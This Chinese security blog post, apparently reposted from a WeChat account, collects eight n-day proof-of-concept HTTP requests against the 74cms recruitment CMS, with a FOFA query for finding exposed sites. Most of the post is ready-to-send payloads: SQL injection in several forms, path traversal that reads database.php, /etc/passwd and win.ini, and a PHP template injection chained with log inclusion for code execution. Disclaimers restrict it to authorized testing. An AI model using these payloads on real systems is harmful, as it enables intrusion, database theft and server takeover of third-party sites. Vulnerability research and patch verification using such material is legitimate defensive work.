0x01 阅读须知
SCA御盾实验室的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！！
0x02 漏洞描述
（一） 74cms
74CMS 是一款基于 PHP+MySQL 开发的开源招聘网站建设系统，具有高效快速、功能完善、容易扩展等特点，是商家搭建招聘网站的首选之一。它提供了各种便捷的后台管理功能，包括网站设置、会员管理、招聘管理、统计分析等，轻松实现招聘网站的管理和维护。同时，74CMS 支持丰富的招聘功能，可以帮助商家快速发布招聘信息，方便求职者查看并投递简历。
fofa语法：
app="骑士-74CMS"
（二） 漏洞poc
1、74cms-cve-2020-22211-sqli
GET /plus/ajax_street.php?act=key&key=%E9%8C%A6%27%20union%20select%201,2,3,4,5,6,7,md5(123456),9%23 HTTP/1.1Host: [target_website.com]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0Accept-Encoding: gzip, deflateConnection: close
2、74cms-se-cve-2022-29720
GET /index.php/index/download/index?name=passwd&url=../../application/database.php HTTP/1.1Host: [target_website.com]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0Accept-Encoding: gzip, deflateConnection: closeGET /index.php/index/download/index?name=passwd&url=../../../../../../../etc/passwd HTTP/1.1Host: [target_website.com]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0Accept-Encoding: gzip, deflateConnection: closeGET /index.php/index/download/index?name=win.ini&url=../../../../../../../windows/win.ini HTTP/1.1Host: [target_website.com]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0Accept-Encoding: gzip, deflateConnection: close
3、74cms-se-cve-2022-33095
GET /v1_0/home/jobfairol/resumelist?jobfair_id=1&keyword=%27%2B(select(sleep(5)))%2B%27)%23 HTTP/1.1Host: [baseurl]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0Accept-Encoding: gzip, deflateConnection: close
4、74cms-sqli
GET /index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=aaaaaaa") and extractvalue(1,concat(0x7e,md5(99999999))) -- a HTTP/1.1Host: [baseurl]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0Accept-Encoding: gzip, deflateConnection: close
5、74cms-sqli-1
POST /plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709xc3x97tamp=&nonce= HTTP/1.1Host: [baseurl]Content-Type: text/xmlContent-Length: [length]<xml><ToUserName>&test;</ToUserName><FromUserName>1111</FromUserName><MsgType>123</MsgType><FuncFlag>3</FuncFlag><Content>1%' union select md5(123456)#</Content></xml>
6、74cms-sqli-2
GET /plus/ajax_officebuilding.php?act=key&key=%E9%8C%A6%27%20a%3C%3End%201%3D2%20un%3C%3Eion%20sel%3C%3Eect%201%2C2%2C3%2Cmd5%28123456%29%2C5%2C6%2C7%2C8%2C9%23 HTTP/1.1Host: [baseurl]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0Accept-Encoding: gzip, deflateConnection: close
7、74cms-sqli-cve-2020-22209
GET /plus/ajax_common.php?act=hotword&query=%E9%8C%A6%27union+/*!50000SeLect*/+1,md5(123456),3+from+qs_admin%23-- HTTP/1.1Host: [baseurl]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0Accept-Encoding: gzip, deflateConnection: close
8、74cms-CNVD-2021-45280
POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1Host: [baseurl]Content-Type: application/x-www-form-urlencodedContent-Length: [length]variable=1&tpl=%3C%3Fphp+echo+md5(123456)%3B+ob_flush%28%29%3B%3F%3EPOST /index.php?m=home&a=assign_resume_tpl HTTP/1.1Host: [baseurl]Content-Type: application/x-www-form-urlencodedContent-Length: [length]variable=1&tpl=data%2FRuntime%2FLogs%2FHome%2F{year}_{month}_{day}.logyear month day 根据实际情况定
原文始发于微信公众号（SCA御盾）：【nday】8个骑士cms(74cms)漏洞集合
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论